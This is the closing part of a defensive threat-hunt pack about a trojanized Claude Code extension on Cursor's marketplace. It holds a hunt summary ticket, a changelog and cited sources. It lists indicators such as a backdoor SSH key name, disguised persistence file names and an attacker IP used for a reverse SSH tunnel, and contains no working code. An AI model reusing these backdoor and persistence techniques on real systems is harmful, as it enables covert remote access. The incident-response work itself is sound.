Honest gaps. The decisive steps, the loader running, the key being written and the reconnaissance being collected, happen inside the editor process and produce no event used by these queries. A zero result is therefore not clearance: for any host that ran the trojanized build, run the Section 7 file checks. Windows and macOS are the only platforms Cursor confirmed as served, and sensor deployment on developer Macs is often incomplete. Validation gates are in Section 11; none of the positive controls have been run yet.

16

Hunt Summary Ticket

TITLE:      Hunt for the trojanized Claude Code extension served from Cursor's marketplace (exposure, not confirmed compromise)
SEVERITY:   High (up to 5,000 Cursor users; reverse-SSH backdoor attempted; failed on most hosts without admin rights)
SCOPE:      Developer workstations (Windows, macOS; Linux defensively) that installed or updated
            anthropic.claude-code 2.1.312 or 2.1.313 from Cursor's marketplace, 2026-10-29 09:27 to 20:35 UTC
HYPOTHESIS: The loader planted the svc-telemetry key and persistence and attempted a reverse SSH tunnel to
            134.209.82.225; uninstalling the extension did not remove them.
QUERIES:    Q1-Q8 (Section 8); native checks (Section 7)
DO FIRST:   1) Check authorized_keys for svc-telemetry on exposed hosts (Sections 7.1, 7.2).
            2) Check for SysMon, sysmon.cmd, com.apple.sysmond.plist, crontab @reboot .smt and .stk_ files.
            3) Preserve evidence, run Playbooks 1 and 2, update to 2.1.314 or later, rotate credentials.
FINDINGS:   [fill in after execution]
GAPS:       Extension installs, in-process reconnaissance and the key write are outside endpoint telemetry;
            the attacker server is offline so network hits are retrospective; Linux build not confirmed.
ACTIONS:    Promote Q1/Q2/Q5 to detect-only Custom IOA after the Section 11 gates pass. Deploy Section 12 items 5 to 9.
OWNER:      HuntPack
VERSION:    v0.1 -- 2026-10-31
17

Changelog

v0.12026-10-31Initial HuntPack (draft). Built from Cursor's notice, StepSecurity and Microsoft primary sources plus three corroborating articles, all saved verbatim. Nine importable atomic indicators (one prevent: the malicious extension.js SHA-256; eight detect). Eight queries; persistence and file-write gaps stated in the Coverage Map. No actor or campaign name is assigned by any source and none is used. SentinelOne PowerQuery and Microsoft Defender KQL tabs added to Q1-Q8: SIEM Query Rosetta release 0.1.0 (public-beta; static-reviewed translations).
18

References

TierSourceUsed ForAccess Date
1Cursor: Security notice, malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) (updated 2026-10-30)Affected versions and platforms, window, payload behavior, IOCs, remediation2026-10-31
1StepSecurity: Trojanized Claude Code Extension Delivered Persistent SSH Backdoor to Developer Machines (2026-10-30)Technical analysis, Anthropic scope statement, timeline, dropped-file hashes2026-10-31
1Microsoft Security Blog: Inside a malicious Claude Code-branded extension and its persistent SSH backdoor (2026-10-30)Independent code analysis, ATT&CK mapping, remediation guidance2026-10-31
2BleepingComputer: Malicious Claude Code extension on Cursor planted SSH backdoors (2026-10-30)Corroboration, coding errors that blocked SSH2026-10-31
2OX Security: Compromised Claude Code Extension (2.1.313) in Cursor Marketplace (2026-10-30)Corroboration2026-10-31
2The Hacker News: Official Claude Code Extension on Cursor Marketplace Trojanized (2026-10-30)Corroboration, collection details, clean 2.1.3142026-10-31

All six sources are saved verbatim to Cursor-Marketplace-ClaudeCode-Backdoor-Hunt-sources/ for provenance re-verification. Cursor's hardening guidance and the MITRE mitigation pages were not fetched; they are cited as control references only and no indicator or campaign claim depends on them.